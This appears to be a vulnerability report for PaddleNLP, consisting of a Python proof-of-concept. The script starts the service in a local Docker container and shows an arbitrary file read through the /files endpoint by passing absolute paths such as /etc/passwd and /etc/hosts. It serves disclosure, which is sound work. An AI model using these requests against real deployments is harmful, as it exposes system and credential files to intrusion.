[错误]: PaddleNLP /files 端点通过绝对路径覆盖读取任意文件
import os import subprocess import sys import time import requests CONTAINER = "paddlenlp_poc" IMAGE = "paddlenlp-poc" PORT = 18990 BASE = f"http://127.0.0.1:{PORT}"
def build(): poc_dir = os.path.dirname(os.path.abspath(file)) r = subprocess.run( ["Docker", "build", "--platform", "linux/amd64", "-t", IMAGE, poc_dir], capture_output=True, text=True, timeout=600, ) if r.returncode != 0: print(r.stderr[-2000:]) sys.exit(1)
def start(): subprocess.run(["Docker", "rm", "-f", CONTAINER], capture_output=True) subprocess.run([ "Docker", "run", "-d", "--platform", "linux/amd64", "--name", CONTAINER, "-p", f"{PORT}:8000", IMAGE, ], check=True, capture_output=True) for _ in range(20): try: if requests.get(f"{BASE}/files?file_name=legit.png", timeout=2).status_code == 200: return True except Exception: pass time.sleep(1) return False
def exploit(): r_baseline = requests.get(f"{BASE}/files", params={"file_name": "legit.png"}) r_abs = requests.get(f"{BASE}/files", params={"file_name": "/etc/hosts"}) r_passwd = requests.get(f"{BASE}/files", params={"file_name": "/etc/passwd"}) return r_baseline, r_abs, r_passwd
内容来源: PaddlePaddle/PaddleNLP